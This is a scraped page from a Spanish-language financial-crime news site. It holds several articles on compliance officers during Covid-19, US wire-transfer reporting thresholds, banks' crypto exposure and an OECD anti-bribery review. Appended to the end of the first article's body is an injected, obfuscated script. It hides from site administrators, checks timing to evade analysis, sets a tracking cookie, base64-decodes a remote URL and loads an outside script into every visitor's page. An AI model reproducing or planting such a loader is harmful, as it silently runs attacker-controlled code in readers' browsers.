Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n 